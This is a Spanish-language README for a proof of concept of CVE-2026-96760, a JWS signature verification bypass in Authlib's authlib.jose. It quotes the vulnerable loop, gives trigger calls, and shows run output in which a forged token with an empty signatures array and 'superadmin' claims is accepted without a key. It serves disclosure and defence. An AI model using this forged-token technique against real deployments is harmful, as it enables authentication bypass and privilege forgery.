CVE-2026-96760 - PoC de omisión de verificación de firma JWS en Authlib

Prueba de concepto para una omisión de verificación de firma en el módulo authlib.jose de Authlib. JsonWebSignature.deserialize_json() acepta un objeto JWS JSON General con un array signatures vacío y devuelve la carga útil controlada por el atacante como verificada correctamente: no se requiere clave, no se comprueba ninguna firma.

Vulnerabilidad

Afectado: Authlib ≤ 1.7.2, módulo authlib.jose No afectado: la ruta JWT compacta (jwt.decode()). Este fallo es específico de la API JWS de Serialización JSON. CWE: CWE-347 (Verificación incorrecta de firma criptográfica), CWE-670, CWE-358 Estado: sin parchear en 1.7.x: el módulo authlib.jose se eliminó por completo en Authlib 1.8, no se corrigió. Cualquier despliegue fijado por debajo de 1.8 sigue expuesto.

Causa raíz

# authlib/jose/rfc7515/jws.py
headers = []
is_valid = True                                  # starts True
for header_obj in obj["signatures"]:             # zero iterations when signatures = []
    jws_header, valid = self._validate_json_jws(
        payload_segment, payload, header_obj, key
    )
    headers.append(jws_header)
    if not valid:
        is_valid = False

rv = JWSObject(headers, payload, "json")
if is_valid:
    return rv                                    # attacker payload returned as verified
raise BadSignatureError(rv)

is_valid se inicializa en True y solo se modifica dentro del cuerpo del bucle. Cuando signatures es [], el bucle se ejecuta cero veces, no se ejecuta ninguna lógica de verificación y la función devuelve éxito: un defecto clásico de verdad vacua. Ambos puntos de entrada públicos se ven afectados:

jws.deserialize_json({"payload": "...", "signatures": []}, key)  # direct
jws.deserialize('{"payload": "...", "signatures": []}', key)     # generic dispatcher

Impacto

Cualquier aplicación que verifique una entrada JSON JWS controlada por el atacante mediante deserialize_json() o deserialize() pierde sus garantías de autenticidad/integridad sobre esa entrada:

• Omisión de autenticación: falsificar sub, role, claims de sesión
• Omisión de confianza entre servicios: inyectar mensajes arbitrarios entre servicios que intercambian JSON JWS
• Falsificación de autorización: fabricar claims de scope, tenant, permissions

Uso

git clone https://github.com/uziii2208/CVE-2026-96760.git
cd CVE-2026-96760
python3 exploit.py

Salida esperada

=================================================================
[BASELINE] Creating legitimate JWS with real signature
=================================================================
Valid token:
{
  "payload": "eyJzdWIiOiJsZWdpdC11c2VyIiwiYWRtaW4iOmZhbHNlfQ",
  "signatures": [
    {
      "protected": "eyJhbGciOiJIUzI1NiJ9",
      "signature": "_IhsSGd6d2jAISIu0BkmCrWGCRU5ZsAJnF7aymDNJ-g"
    }
  ]
}
[+] Verification succeeded: payload = b'{"sub":"legit-user","admin":false}'

=================================================================
[BASELINE] Verification with wrong key - must be rejected
=================================================================
[+] Correctly rejected - BadSignatureError: bad_signature:

=================================================================
[EXPLOIT] Forged payload WITHOUT any signing key
=================================================================
Malicious JWS:
{
  "payload": "eyJzdWIiOiJhdHRhY2tlciIsImFkbWluIjp0cnVlLCJyb2xlIjoic3VwZXJhZG1pbiJ9",
  "signatures": []
}

[X VULNERABLE] Verification succeeded WITHOUT any signature!
    Payload  : b'{"sub":"attacker","admin":true,"role":"superadmin"}'
    Headers  : []
    Type     : json

    → Attacker fully controls payload content
    → Application trusts payload as signed by trusted party

Los tres casos aíslan el fallo con precisión: una firma real con la clave incorrecta se rechaza correctamente, una firma real con la clave correcta se acepta correctamente, y una lista de firmas vacía —que debería ser el caso más rechazado de todos— se acepta silenciosamente.

Cronología de divulgación

• Reportado a los mantenedores de Authlib: 28 de julio
• Cerrado por el mantenedor, citando la deprecación de authlib.jose (sin corrección emitida): 30 de julio
• CVE-2026-96760 asignado: CERT/CC, reservado el 2026-09-23, publicado el 2026-09-28
• authlib.jose eliminado en Authlib 1.8 (no retroportado como corrección)

Créditos

Descubierto y reportado por uziii2208 y nguyenminhtuan28.

Descargo de responsabilidad

Este PoC se publica con fines educativos y defensivos —para ayudar a los mantenedores, equipos de seguridad y usuarios finales a comprender y remediar el problema. No lo utilice contra sistemas que no sean de su propiedad o para los que no tenga autorización explícita de prueba.